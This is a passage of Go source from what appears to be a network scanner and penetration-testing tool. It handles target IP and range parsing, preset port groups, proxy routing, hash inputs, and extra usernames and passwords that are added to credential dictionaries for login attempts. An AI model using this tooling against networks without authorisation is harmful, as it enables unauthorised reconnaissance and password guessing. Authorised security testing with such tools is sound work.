modes++
}
if LocalMode {
modes++
}
// 处理扫描模式验证结果
if modes == 0 {
// 无参数时显示帮助
flag.Usage()
return fmt.Errorf(GetText("specify_scan_params"))
} else if modes > 1 {
return fmt.Errorf(GetText("params_conflict"))
}
return nil
}
// processPortsConfig 处理端口配置
// 合并默认端口和附加端口配置
func processPortsConfig() {
// 如果使用主要端口,添加Web端口
if Ports == MainPorts {
Ports += "," + WebPorts
}
// 处理附加端口
if AddPorts != "" {
if strings.HasSuffix(Ports, ",") {
Ports += AddPorts
} else {
Ports += "," + AddPorts
}
LogBase(GetText("extra_ports", AddPorts))
}
// 确保排除端口配置被记录
if ExcludePorts != "" {
LogBase(GetText("exclude_ports_applied", ExcludePorts))
}
}
// processExtraCredentials 处理额外的用户名和密码
// 添加命令行指定的额外用户名和密码到现有配置
func processExtraCredentials() {
// 处理额外用户名
if AddUsers != "" {
users := strings.Split(AddUsers, ",")
for dict := range Userdict {
Userdict[dict] = append(Userdict[dict], users...)
Userdict[dict] = RemoveDuplicate(Userdict[dict])
}
LogBase(GetText("extra_usernames", AddUsers))
}
// 处理额外密码
if AddPasswords != "" {
passes := strings.Split(AddPasswords, ",")
Passwords = append(Passwords, passes...)
Passwords = RemoveDuplicate(Passwords)
LogBase(GetText("extra_passwords", AddPasswords))
}
}
// processProxySettings 处理代理设置
// 解析并验证Socks5和HTTP代理配置
func processProxySettings() error {
// 处理Socks5代理
if Socks5Proxy != "" {
if err := setupSocks5Proxy(); err != nil {
return err
}
}
// 处理HTTP代理
if HttpProxy != "" {
if err := setupHttpProxy(); err != nil {
return err
}
}
return nil
}
// setupSocks5Proxy 设置Socks5代理
// 格式化和验证Socks5代理URL
func setupSocks5Proxy() error {
// 规范化Socks5代理URL格式
if !strings.HasPrefix(Socks5Proxy, "socks5://") {
if !strings.Contains(Socks5Proxy, ":") {
// 仅指定端口时使用本地地址
Socks5Proxy = "socks5://127.0.0.1:" + Socks5Proxy
} else {
// 指定IP:PORT时添加协议前缀
Socks5Proxy = "socks5://" + Socks5Proxy
}
}
// 验证代理URL格式
_, err := url.Parse(Socks5Proxy)
if err != nil {
return fmt.Errorf(GetText("socks5_proxy_error", err))
}
// 使用Socks5代理时禁用Ping(无法通过代理进行ICMP)
DisablePing = true
LogBase(GetText("socks5_proxy", Socks5Proxy))
return nil
}
// setupHttpProxy 设置HTTP代理
// 处理多种HTTP代理简写形式并验证URL格式
func setupHttpProxy() error {
// 处理HTTP代理简写形式
switch HttpProxy {
case "1":
// 快捷方式1: 本地8080端口(常用代理工具默认端口)
HttpProxy = "http://127.0.0.1:8080"
case "2":
// 快捷方式2: 本地1080端口(常见SOCKS端口)
HttpProxy = "socks5://127.0.0.1:1080"
default:
// 仅指定端口时使用本地HTTP代理
if !strings.Contains(HttpProxy, "://") {
HttpProxy = "http://127.0.0.1:" + HttpProxy
}
}
// 验证代理协议
if !strings.HasPrefix(HttpProxy, "socks") && !strings.HasPrefix(HttpProxy, "http") {
return fmt.Errorf(GetText("unsupported_proxy"))
}
// 验证代理URL格式
_, err := url.Parse(HttpProxy)
if err != nil {
return fmt.Errorf(GetText("proxy_format_error", err))
}
LogBase(GetText("http_proxy", HttpProxy))
return nil
}
// processHashValues 处理哈希值
// 验证单个哈希值并处理哈希列表
func processHashValues() error {
// 处理单个哈希值
if HashValue != "" {
// MD5哈希必须是32位十六进制字符
if len(HashValue) != 32 {
return fmt.Errorf(GetText("hash_length_error"))
}
HashValues = append(HashValues, HashValue)
}
// 处理哈希值列表
HashValues = RemoveDuplicate(HashValues)
for _, hash := range HashValues {
// 将十六进制字符串转换为字节数组
hashByte, err := hex.DecodeString(hash)
if err != nil {
LogError(GetText("hash_decode_failed", hash))
continue
}
HashBytes = append(HashBytes, hashByte)
}
// 清空原始哈希值列表,仅保留字节形式
HashValues = []string{}
return nil
}
// RemoveDuplicate 对字符串切片进行去重
func RemoveDuplicate(old []string) []string {
temp := make(map[string]struct{})
var result []string
for _, item := range old {
if _, exists := temp[item]; !exists {
temp[item] = struct{}{}
result = append(result, item)
}
}
return result
}
================================================
FILE: Common/ParseIP.go
================================================
package Common
import (
"bufio"
"errors"
"fmt"
"math/rand"
"net"
"os"
"regexp"
"sort"
"strconv"
"strings"
)
// IP解析相关错误
var (
ErrParseIP = errors.New(GetText("parse_ip_error")) // IP解析失败的统一错误
)
// ParseIP 解析各种格式的IP地址
// 参数:
// - host: 主机地址(可以是单个IP、IP范围、CIDR或常用网段简写)
// - filename: 包含主机地址的文件名
// - nohosts: 需要排除的主机地址列表
//
// 返回:
// - []string: 解析后的IP地址列表
// - error: 解析过程中的错误
func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) {
// 处理主机和端口组合的情况 (格式: IP:PORT)
if filename == "" && strings.Contains(host, ":") {
hostport := strings.Split(host, ":")
if len(hostport) == 2 {
host = hostport[0]
hosts = parseIPList(host)
Ports = hostport[1]
LogBase(GetText("host_port_parsed", Ports))
}
} else {
// 解析主机地址
hosts = parseIPList(host)
// 从文件加载额外主机
if filename != "" {
fileHosts, err := readIPFile(filename)
if err != nil {
LogError(GetText("read_host_file_failed", err))
} else {
hosts = append(hosts, fileHosts...)
LogBase(GetText("extra_hosts_loaded", len(fileHosts)))
}
}
}
// 处理需要排除的主机
hosts = excludeHosts(hosts, nohosts)
// 去重并排序
hosts = removeDuplicateIPs(hosts)
LogBase(GetText("final_valid_hosts", len(hosts)))
// 检查解析结果
if len(hosts) == 0 && len(HostPort) == 0 && (host != "" || filename != "") {
return nil, ErrParseIP
}
return hosts, nil
}
// parseIPList 解析逗号分隔的IP地址列表
// 参数:
// - ipList: 逗号分隔的IP地址列表字符串
//
// 返回:
// - []string: 解析后的IP地址列表
func parseIPList(ipList string) []string {
var result []string
// 处理逗号分隔的IP列表
if strings.Contains(ipList, ",") {
ips := strings.Split(ipList, ",")
for _, ip := range ips {
if parsed := parseSingleIP(ip); len(parsed) > 0 {
result = append(result, parsed...)
}
}
} else if ipList != "" {
// 解析单个IP地址或范围
result = parseSingleIP(ipList)
}
return result
}
// parseSingleIP 解析单个IP地址或IP范围
// 支持多种格式:
// - 普通IP: 192.168.1.1
// - 简写网段: 192, 172, 10
// - CIDR: 192.168.0.0/24
// - 范围: 192.168.1.1-192.168.1.100 或 192.168.1.1-100
// - 域名: example.com
// 参数:
// - ip: IP地址或范围字符串
//
// 返回:
// - []string: 解析后的IP地址列表
func parseSingleIP(ip string) []string {
// 检测是否包含字母(可能是域名)
isAlpha := regexp.MustCompile(`[a-zA-Z]+`).MatchString(ip)
// 根据不同格式解析IP
switch {
case ip == "192":
// 常用内网段简写
return parseSingleIP("192.168.0.0/16")
case ip == "172":
// 常用内网段简写
return parseSingleIP("172.16.0.0/12")
case ip == "10":
// 常用内网段简写
return parseSingleIP("10.0.0.0/8")
case strings.HasSuffix(ip, "/8"):
// 处理/8网段(使用采样方式)
return parseSubnet8(ip)
case strings.Contains(ip, "/"):
// 处理CIDR格式
return parseCIDR(ip)
case isAlpha:
// 处理域名,直接返回
return []string{ip}
case strings.Contains(ip, "-"):
// 处理IP范围
return parseIPRange(ip)
default:
// 尝试解析为单个IP地址
if testIP := net.ParseIP(ip); testIP != nil {
return []string{ip}
}
LogError(GetText("invalid_ip_format", ip))
return nil
}
}
// parseCIDR 解析CIDR格式的IP地址段
// 例如: 192.168.1.0/24
// 参数:
// - cidr: CIDR格式的IP地址段
//
// 返回:
// - []string: 展开后的IP地址列表
func parseCIDR(cidr string) []string {
// 解析CIDR格式
_, ipNet, err := net.ParseCIDR(cidr)
if err != nil {
LogError(GetText("cidr_parse_failed", cidr, err))
return nil
}
// 转换为IP范围
ipRange := calculateIPRange(ipNet)
hosts := parseIPRange(ipRange)
LogBase(GetText("parse_cidr_to_range", cidr, ipRange))
return hosts
}
// calculateIPRange 计算CIDR的起始IP和结束IP
// 例如: 192.168.1.0/24 -> 192.168.1.0-192.168.1.255
// 参数:
// - cidr: 解析后的IPNet对象
//
// 返回:
// - string: 格式为"起始IP-结束IP"的范围字符串
func calculateIPRange(cidr *net.IPNet) string {
// 获取网络起始IP
start := cidr.IP.String()
mask := cidr.Mask
// 计算广播地址(最后一个IP)
bcst := make(net.IP, len(cidr.IP))
copy(bcst, cidr.IP)
// 将网络掩码按位取反,然后与IP地址按位或,得到广播地址
for i := 0; i < len(mask); i++ {
ipIdx := len(bcst) - i - 1
bcst[ipIdx] = cidr.IP[ipIdx] | ^mask[len(mask)-i-1]
}
end := bcst.String()
result := fmt.Sprintf("%s-%s", start, end)
LogBase(GetText("cidr_range", result))
return result
}
// parseIPRange 解析IP范围格式的地址
// 支持两种格式:
// - 完整格式: 192.168.1.1-192.168.1.100
// - 简写格式: 192.168.1.1-100
// 参数:
// - ipRange: IP范围字符串
//
// 返回:
// - []string: 展开后的IP地址列表
func parseIPRange(ipRange string) []string {
parts := strings.Split(ipRange, "-")
if len(parts) != 2 {
LogError(GetText("ip_range_format_error", ipRange))
return nil
}
startIP := parts[0]
endIP := parts[1]
// 验证起始IP
if net.ParseIP(startIP) == nil {
LogError(GetText("invalid_ip_format", startIP))
return nil
}
// 处理简写格式 (如: 192.168.1.1-100)
if len(endIP) < 4 || !strings.Contains(endIP, ".") {
return parseShortIPRange(startIP, endIP)
} else {
// 处理完整格式 (如: 192.168.1.1-192.168.1.100)
return parseFullIPRange(startIP, endIP)
}
}
// parseShortIPRange 解析简写格式的IP范围
// 例如: 192.168.1.1-100 表示从192.168.1.1到192.168.1.100
// 参数:
// - startIP: 起始IP
// - endSuffix: 结束IP的最后一部分
//
// 返回:
// - []string: 展开后的IP地址列表
func parseShortIPRange(startIP, endSuffix string) []string {
var allIP []string
// 将结束段转换为数字
endNum, err := strconv.Atoi(endSuffix)
if err != nil || endNum > 255 {
LogError(GetText("ip_range_format_error", startIP+"-"+endSuffix))
return nil
}
// 分解起始IP
ipParts := strings.Split(startIP, ".")
if len(ipParts) != 4 {
LogError(GetText("ip_format_error", startIP))
return nil
}
// 获取前缀和起始IP的最后一部分
prefixIP := strings.Join(ipParts[0:3], ".")
startNum, err := strconv.Atoi(ipParts[3])
if err != nil || startNum > endNum {
LogError(GetText("invalid_ip_range", startNum, endNum))
return nil
}
// 生成IP范围
for i := startNum; i <= endNum; i++ {
allIP = append(allIP, fmt.Sprintf("%s.%d", prefixIP, i))
}
LogBase(GetText("generate_ip_range", prefixIP, startNum, prefixIP, endNum))
return allIP
}
// parseFullIPRange 解析完整格式的IP范围
// 例如: 192.168.1.1-192.168.2.100
// 参数:
// - startIP: 起始IP
// - endIP: 结束IP
//
// 返回:
// - []string: 展开后的IP地址列表
func parseFullIPRange(startIP, endIP string) []string {
var allIP []string
// 验证结束IP
if net.ParseIP(endIP) == nil {
LogError(GetText("invalid_ip_format", endIP))
return nil
}
// 分解起始IP和结束IP
startParts := strings.Split(startIP, ".")
endParts := strings.Split(endIP, ".")
if len(startParts) != 4 || len(endParts) != 4 {
LogError(GetText("ip_format_error", startIP+"-"+endIP))
return nil
}
// 转换为整数数组
var start, end [4]int
for i := 0; i < 4; i++ {
var err1, err2 error
start[i], err1 = strconv.Atoi(startParts[i])
end[i], err2 = strconv.Atoi(endParts[i])
if err1 != nil || err2 != nil || start[i] > 255 || end[i] > 255 {
LogError(GetText("ip_format_error", startIP+"-"+endIP))
return nil
}
}
// 计算IP地址的整数表示
startInt := (start[0] << 24) | (start[1] << 16) | (start[2] << 8) | start[3]
endInt := (end[0] << 24) | (end[1] << 16) | (end[2] << 8) | end[3]
// 检查范围的有效性
if startInt > endInt {
LogError(GetText("invalid_ip_range", startIP, endIP))
return nil
}
// 限制IP范围的大小,防止生成过多IP导致内存问题
if endInt-startInt > 65535 {
LogError(GetText("ip_range_too_large", startIP, endIP))
// 可以考虑在这里实现采样或截断策略
}
// 生成IP范围
for ipInt := startInt; ipInt <= endInt; ipInt++ {
ip := fmt.Sprintf("%d.%d.%d.%d",
(ipInt>>24)&0xFF,
(ipInt>>16)&0xFF,
(ipInt>>8)&0xFF,
ipInt&0xFF)
allIP = append(allIP, ip)
}
LogBase(GetText("generate_ip_range_full", startIP, endIP, len(allIP)))
return allIP
}
// parseSubnet8 解析/8网段的IP地址,生成采样IP列表
// 由于/8网段包含1600多万个IP,因此采用采样方式
// 参数:
// - subnet: CIDR格式的/8网段
//
// 返回:
// - []string: 采样的IP地址列表
func parseSubnet8(subnet string) []string {
// 去除CIDR后缀获取基础IP
baseIP := subnet[:len(subnet)-2]
if net.ParseIP(baseIP) == nil {
LogError(GetText("invalid_ip_format", baseIP))
return nil
}
// 获取/8网段的第一段
firstOctet := strings.Split(baseIP, ".")[0]
var sampleIPs []string
LogBase(GetText("parse_subnet", firstOctet))
// 预分配足够的容量以提高性能
// 每个二级网段10个IP,共256*256个二级网段
sampleIPs = make([]string, 0, 10)
// 对常用网段进行更全面的扫描
commonSecondOctets := []int{0, 1, 2, 10, 100, 200, 254}
// 对于每个选定的第二段,采样部分第三段
for _, secondOctet := range commonSecondOctets {
for thirdOctet := 0; thirdOctet < 256; thirdOctet += 10 {
// 添加常见的网关和服务器IP
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.1", firstOctet, secondOctet, thirdOctet)) // 默认网关
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.254", firstOctet, secondOctet, thirdOctet)) // 通常用于路由器/交换机
// 随机采样不同范围的主机IP
fourthOctet := randomInt(2, 253)
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, fourthOctet))
}
}
// 对其他二级网段进行稀疏采样
samplingStep := 32 // 每32个二级网段采样1个
for secondOctet := 0; secondOctet < 256; secondOctet += samplingStep {
for thirdOctet := 0; thirdOctet < 256; thirdOctet += samplingStep {
// 对于采样的网段,取几个代表性IP
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.1", firstOctet, secondOctet, thirdOctet))
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, randomInt(2, 253)))
}
}
LogBase(GetText("sample_ip_generated", len(sampleIPs)))
return sampleIPs
}
// readIPFile 从文件中按行读取IP地址
// 支持两种格式:
// - 每行一个IP或IP范围
// - IP:PORT 格式指定端口
// 参数:
// - filename: 包含IP地址的文件路径
//
// 返回:
// - []string: 解析后的IP地址列表
// - error: 读取和解析过程中的错误
func readIPFile(filename string) ([]string, error) {
// 打开文件
file, err := os.Open(filename)
if err != nil {
LogError(GetText("open_file_failed", filename, err))
return nil, err
}
defer file.Close()
var ipList []string
scanner := bufio.NewScanner(file)
scanner.Split(bufio.ScanLines)
// 逐行处理
lineCount := 0
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if line == "" || strings.HasPrefix(line, "#") {
continue // 跳过空行和注释行
}
lineCount++
// 处理IP:PORT格式
if strings.Contains(line, ":") {
parts := strings.Split(line, ":")
if len(parts) == 2 {
// 提取端口部分,处理可能的注释
portPart := strings.Split(parts[1], " ")[0]
portPart = strings.Split(portPart, "#")[0]
port, err := strconv.Atoi(portPart)
// 验证端口有效性
if err != nil || port < 1 || port > 65535 {
LogError(GetText("invalid_port", line))
continue
}
// 解析IP部分并与端口组合
hosts := parseIPList(parts[0])
for _, host := range hosts {
HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, portPart))
}
LogBase(GetText("parse_ip_port", line))
} else {
LogError(GetText("invalid_ip_port_format", line))
}
} else {
// 处理纯IP格式
hosts := parseIPList(line)
ipList = append(ipList, hosts...)
LogBase(GetText("parse_ip_address", line))
}
}
// 检查扫描过程中的错误
if err := scanner.Err(); err != nil {
LogError(GetText("read_file_error", err))
return ipList, err
}
LogBase(GetText("file_parse_complete", len(ipList)))
return ipList, nil
}
// excludeHosts 从主机列表中排除指定的主机
// 参数:
// - hosts: 原始主机列表
// - nohosts: 需要排除的主机列表(可选)
//
// 返回:
// - []string: 排除后的主机列表
func excludeHosts(hosts []string, nohosts []string) []string {
// 如果没有需要排除的主机,直接返回原列表
if len(nohosts) == 0 || nohosts[0] == "" {
return hosts
}
// 解析排除列表
excludeList := parseIPList(nohosts[0])
if len(excludeList) == 0 {
return hosts
}
// 使用map存储有效主机,提高查找效率
hostMap := make(map[string]struct{}, len(hosts))
for _, host := range hosts {
hostMap[host] = struct{}{}
}
// 从map中删除需要排除的主机
for _, host := range excludeList {
delete(hostMap, host)
}
// 重建主机列表
result := make([]string, 0, len(hostMap))
for host := range hostMap {
result = append(result, host)
}
// 排序以保持结果的稳定性
sort.Strings(result)
LogBase(GetText("hosts_excluded", len(excludeList)))
return result
}
// removeDuplicateIPs 去除重复的IP地址
// 参数:
// - ips: 包含可能重复项的IP地址列表
//
// 返回:
// - []string: 去重后的IP地址列表
func removeDuplicateIPs(ips []string) []string {
// 使用map去重
ipMap := make(map[string]struct{}, len(ips))
for _, ip := range ips {
ipMap[ip] = struct{}{}
}
// 创建结果切片并添加唯一的IP
result := make([]string, 0, len(ipMap))
for ip := range ipMap {
result = append(result, ip)
}
// 排序以保持结果的稳定性
sort.Strings(result)
return result
}
// randomInt 生成指定范围内的随机整数
// 参数:
// - min: 最小值(包含)
// - max: 最大值(包含)
//
// 返回:
// - int: 生成的随机数
func randomInt(min, max int) int {
if min >= max || min < 0 || max <= 0 {
return max
}
return rand.Intn(max-min+1) + min
}
================================================
FILE: Common/ParsePort.go
================================================
package Common
import (
"sort"
"strconv"
"strings"
)
// ParsePort 解析端口配置字符串为端口号列表
func ParsePort(ports string) []int {
// 预定义的端口组
portGroups := map[string]string{
"service": ServicePorts,
"db": DbPorts,
"web": WebPorts,
"all": AllPorts,
"main": MainPorts,
}
// 检查是否匹配预定义组
if definedPorts, exists := portGroups[ports]; exists {
ports = definedPorts
}
if ports == "" {
return nil
}
var scanPorts []int
slices := strings.Split(ports, ",")
// 处理每个端口配置
for _, port := range slices {
port = strings.TrimSpace(port)
if port == "" {
continue
}
// 处理端口范围
upper := port
if strings.Contains(port, "-") {
ranges := strings.Split(port, "-")
if len(ranges) < 2 {
LogError(GetText("port_range_format_error", port))
continue
}
// 确保起始端口小于结束端口
startPort, _ := strconv.Atoi(ranges[0])
endPort, _ := strconv.Atoi(ranges[1])
if startPort < endPort {
port = ranges[0]
upper = ranges[1]
} else {
port = ranges[1]
upper = ranges[0]
}
}
// 生成端口列表
start, _ := strconv.Atoi(port)
end, _ := strconv.Atoi(upper)
for i := start; i <= end; i++ {
if i > 65535 || i < 1 {
LogError(GetText("ignore_invalid_port", i))
continue
}
scanPorts = append(scanPorts, i)
}
}
// 去重并排序
scanPorts = removeDuplicate(scanPorts)
sort.Ints(scanPorts)
LogBase(GetText("valid_port_count", len(scanPorts)))
return scanPorts
}
// removeDuplicate 对整数切片进行去重
func removeDuplicate(old []int) []int {
temp := make(map[int]struct{})
var result []int
for _, item := range old {
if _, exists := temp[item]; !exists {
temp[item] = struct{}{}
result = append(result, item)
}
}
return result
}
================================================
FILE: Common/Ports.go
================================================
package Common
import (
"strconv"
"strings"
)
var ServicePorts = "21,22,23,25,110,135,139,143,162,389,445,465,502,587,636,873,993,995,1433,1521,2222,3306,3389,5020,5432,5672,5671,6379,8161,8443,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613"
var DbPorts = "1433,1521,3306,5432,5672,6379,7687,9042,9093,9200,11211,27017,61616"
var WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018"
var AllPorts = "1-65535"
var MainPorts = "21,22,23,80,81,110,135,139,143,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,7687,8000,8005,8009,8080,8089,8443,9000,9042,9092,9200,10051,11211,15672,27017,61616"
func ParsePortsFromString(portsStr string) []int {
var ports []int
portStrings := strings.Split(portsStr, ",")
for _, portStr := range portStrings {
if port, err := strconv.Atoi(portStr); err == nil {
ports = append(ports, port)
}
}
return ports
}
================================================
FILE: Common/Proxy.go
================================================
package Common
import (
"errors"
"fmt"
"golang.org/x/net/proxy"
"net"
"net/url"
"strings"
"time"
)
// WrapperTcpWithTimeout 创建一个带超时的TCP连接
func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
d := &net.Dialer{Timeout: timeout}
return WrapperTCP(network, address, d)
}
// WrapperTCP 根据配置创建TCP连接
func WrapperTCP(network, address string, forward *net.Dialer) (net.Conn, error) {
// 直连模式
if Socks5Proxy == "" {
conn, err := forward.Dial(network, address)
if err != nil {
return nil, fmt.Errorf(GetText("tcp_conn_failed"), err)
}
return conn, nil
}
// Socks5代理模式
dialer, err := Socks5Dialer(forward)
if err != nil {
return nil, fmt.Errorf(GetText("socks5_create_failed"), err)
}
conn, err := dialer.Dial(network, address)
if err != nil {
return nil, fmt.Errorf(GetText("socks5_conn_failed"), err)
}
return conn, nil
}
// Socks5Dialer 创建Socks5代理拨号器
func Socks5Dialer(forward *net.Dialer) (proxy.Dialer, error) {
// 解析代理URL
u, err := url.Parse(Socks5Proxy)
if err != nil {
return nil, fmt.Errorf(GetText("socks5_parse_failed"), err)
}
// 验证代理类型
if strings.ToLower(u.Scheme) != "socks5" {
return nil, errors.New(GetText("socks5_only"))
}
address := u.Host
var dialer proxy.Dialer
// 根据认证信息创建代理
if u.User.String() != "" {
// 使用用户名密码认证
auth := proxy.Auth{
User: u.User.Username(),
}
auth.Password, _ = u.User.Password()
dialer, err = proxy.SOCKS5("tcp", address, &auth, forward)
} else {
// 无认证模式
dialer, err = proxy.SOCKS5("tcp", address, nil, forward)
}
if err != nil {
return nil, fmt.Errorf(GetText("socks5_create_failed"), err)
}
return dialer, nil
}
================================================
FILE: Common/Types.go
================================================
// Config/types.go
package Common
type HostInfo struct {
Host string
Ports string
Url string
Infostr []string
}
// 在 Common/const.go 中添加
// 插件类型常量
const (
PluginTypeService = "service" // 服务类型插件
PluginTypeWeb = "web" // Web类型插件
PluginTypeLocal = "local" // 本地类型插件
)
// ScanPlugin 定义扫描插件的结构
type ScanPlugin struct {
Name string // 插件名称
Ports []int // 适用端口
Types []string // 插件类型标签,一个插件可以有多个类型
ScanFunc func(*HostInfo) error // 扫描函数
}
// 添加一个用于检查插件类型的辅助方法
func (p ScanPlugin) HasType(typeName string) bool {
for _, t := range p.Types {
if t == typeName {
return true
}
}
return false
}
// HasPort 检查插件是否支持指定端口
func (p *ScanPlugin) HasPort(port int) bool {
// 如果没有指定端口列表,表示支持所有端口
if len(p.Ports) == 0 {
return true
}
// 检查端口是否在支持列表中
for _, supportedPort := range p.Ports {
if port == supportedPort {
return true
}
}
return false
}
// PluginManager 管理插件注册
var PluginManager = make(map[string]ScanPlugin)
// RegisterPlugin 注册插件
func RegisterPlugin(name string, plugin ScanPlugin) {
PluginManager[name] = plugin
}
================================================
FILE: Common/i18n.go
================================================
package Common
import (
"fmt"
"strings"
)
// 支持的语言类型
const (
LangZH = "zh" // 中文
LangEN = "en" // 英文
LangJA = "ja" // 日文
LangRU = "ru" // 俄文
)
// 多语言文本映射
var i18nMap = map[string]map[string]string{
"output_init_start": {
LangZH: "开始初始化输出系统",
LangEN: "Starting output system initialization",
LangJA: "出力システムの初期化を開始",
LangRU: "Начало инициализации системы вывода",
},
"output_format_invalid": {
LangZH: "无效的输出格式: %s",
LangEN: "Invalid output format: %s",
LangJA: "無効な出力形式: %s",
LangRU: "Неверный формат вывода: %s",
},
"output_path_empty": {
LangZH: "输出路径不能为空",
LangEN: "Output path cannot be empty",
LangJA: "出力パスは空にできません",
LangRU: "Путь вывода не может быть пустым",
},
"output_create_dir_failed": {
LangZH: "创建输出目录失败: %v",
LangEN: "Failed to create output directory: %v",
LangJA: "出力ディレクトリの作成に失敗: %v",
LangRU: "Не удалось создать каталог вывода: %v",
},
"output_init_failed": {
LangZH: "初始化输出系统失败: %v",
LangEN: "Failed to initialize output system: %v",
LangJA: "出力システムの初期化に失敗: %v",
LangRU: "Не удалось инициализировать систему вывода: %v",
},
"output_init_success": {
LangZH: "输出系统初始化成功",
LangEN: "Output system initialized successfully",
LangJA: "出力システムの初期化に成功",
LangRU: "Система вывода успешно инициализирована",
},
"output_already_init": {
LangZH: "输出系统已经初始化",
LangEN: "Output system already initialized",
LangJA: "出力システムは既に初期化されています",
LangRU: "Система вывода уже инициализирована",
},
"output_opening_file": {
LangZH: "正在打开输出文件: %s",
LangEN: "Opening output file: %s",
LangJA: "出力ファイルを開いています: %s",
LangRU: "Открытие файла вывода: %s",
},
"output_open_file_failed": {
LangZH: "打开输出文件失败: %v",
LangEN: "Failed to open output file: %v",
LangJA: "出力ファイルを開くのに失敗: %v",
LangRU: "Не удалось открыть файл вывода: %v",
},
"output_init_csv": {
LangZH: "初始化CSV输出",
LangEN: "Initializing CSV output",
LangJA: "CSV出力を初期化中",
LangRU: "Инициализация вывода CSV",
},
"output_write_csv_header_failed": {
LangZH: "写入CSV头失败: %v",
LangEN: "Failed to write CSV header: %v",
LangJA: "CSVヘッダーの書き込みに失敗: %v",
LangRU: "Не удалось записать заголовок CSV: %v",
},
"output_init_json": {
LangZH: "初始化JSON输出",
LangEN: "Initializing JSON output",
LangJA: "JSON出力を初期化中",
LangRU: "Инициализация вывода JSON",
},
"output_init_txt": {
LangZH: "初始化文本输出",
LangEN: "Initializing text output",
LangJA: "テキスト出力を初期化中",
LangRU: "Инициализация текстового вывода",
},
"output_init_complete": {
LangZH: "输出系统初始化完成",
LangEN: "Output system initialization complete",
LangJA: "出力システムの初期化が完了",
LangRU: "Инициализация системы вывода завершена",
},
"output_not_init": {
LangZH: "输出系统未初始化",
LangEN: "Output system not initialized",
LangJA: "出力システムが初期化されていません",
LangRU: "Система вывода не инициализирована",
},
"output_saving_result": {
LangZH: "正在保存%s结果: %s",
LangEN: "Saving %s result: %s",
LangJA: "%s結果を保存中: %s",
LangRU: "Сохранение результата %s: %s",
},
"output_save_failed": {
LangZH: "保存结果失败: %v",
LangEN: "Failed to save result: %v",
LangJA: "結果の保存に失敗: %v",
LangRU: "Не удалось сохранить результат: %v",
},
"output_save_success": {
LangZH: "成功保存%s结果: %s",
LangEN: "Successfully saved %s result: %s",
LangJA: "%s結果の保存に成功: %s",
LangRU: "Успешно сохранен результат %s: %s",
},
"output_txt_format": {
LangZH: "[%s] [%s] 目标:%s 状态:%s 详情:%s",
LangEN: "[%s] [%s] Target:%s Status:%s Details:%s",
LangJA: "[%s] [%s] ターゲット:%s 状態:%s 詳細:%s",
LangRU: "[%s] [%s] Цель:%s Статус:%s Подробности:%s",
},
"output_no_need_close": {
LangZH: "输出系统无需关闭",
LangEN: "No need to close output system",
LangJA: "出力システムを閉じる必要はありません",
LangRU: "Нет необходимости закрывать систему вывода",
},
"output_closing": {
LangZH: "正在关闭输出系统",
LangEN: "Closing output system",
LangJA: "出力システムを閉じています",
LangRU: "Закрытие системы вывода",
},
"output_flush_csv": {
LangZH: "正在刷新CSV缓冲",
LangEN: "Flushing CSV buffer",
LangJA: "CSVバッファをフラッシュ中",
LangRU: "Очистка буфера CSV",
},
"output_close_failed": {
LangZH: "关闭输出文件失败: %v",
LangEN: "Failed to close output file: %v",
LangJA: "出力ファイルを閉じるのに失敗: %v",
LangRU: "Не удалось закрыть файл вывода: %v",
},
"output_closed": {
LangZH: "输出系统已关闭",
LangEN: "Output system closed",
LangJA: "出力システムが閉じられました",
LangRU: "Система вывода закрыта",
},
"flag_host": {
LangZH: "指定目标主机,支持以下格式:\n" +
" - 单个IP: 192.168.11.11\n" +
" - IP范围: 192.168.11.11-255\n" +
" - 多个IP: 192.168.11.11,192.168.11.12",
LangEN: "Specify target host, supports following formats:\n" +
" - Single IP: 192.168.11.11\n" +
" - IP Range: 192.168.11.11-255\n" +
" - Multiple IPs: 192.168.11.11,192.168.11.12",
LangJA: "ターゲットホストを指定、以下の形式をサポート:\n" +
" - 単一IP: 192.168.11.11\n" +
" - IP範囲: 192.168.11.11-255\n" +
" - 複数IP: 192.168.11.11,192.168.11.12",
LangRU: "Укажите целевой хост, поддерживаются следующие форматы:\n" +
" - Один IP: 192.168.11.11\n" +
" - Диапазон IP: 192.168.11.11-255\n" +
" - Несколько IP: 192.168.11.11,192.168.11.12",
},
"flag_ports": {
LangZH: "指定扫描端口,支持以下格式:\n" +
"格式:\n" +
" - 单个: 22\n" +
" - 范围: 1-65535\n" +
" - 多个: 22,80,3306\n" +
"预设组:\n" +
" - main: 常用端口组\n" +
" - service: 服务端口组\n" +
" - db: 数据库端口组\n" +
" - web: Web端口组\n" +
" - all: 全部端口\n" +
"示例: -p main, -p 80,443, -p 1-1000",
LangEN: "Specify scan ports, supports:\n" +
